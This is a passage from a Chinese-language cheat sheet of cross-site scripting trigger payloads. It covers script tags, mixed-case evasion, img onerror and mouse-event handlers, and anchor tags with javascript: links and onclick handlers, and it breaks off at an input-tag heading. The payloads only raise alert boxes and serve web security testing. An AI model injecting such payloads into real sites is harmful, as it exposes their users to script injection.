XSS触发语句小结
一、标准语句 <script>alert(/XSS/)</script> 二、尝试大小写 <sCript>alert(1)</scRipt> 三、使用<img>标签 1、windows事件 <img src="x" onerror=alert(1)> <img src="1" onerror=eval("alert('xss')")> //图片加载错误时触发 2、鼠标事件 <img src=1 onmouseover="alert(1)"> //鼠标指针移动到元素时触发 <img src=1 onmouseout="alert(1)"> //鼠标指针移出时触发 四、使用<a>标签 1、使用href属性 <a href="https://www.qq.com">qq</a> <a href=javascript:alert('xss')>test</a> <a href="javascript:a" onmouseover="alert(/xss/)">aa</a> <a href="" onclick=alert('xss')>a</a> <a href="" onclick=eval(alert('xss'))>aa</a> <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a> 五、使用<input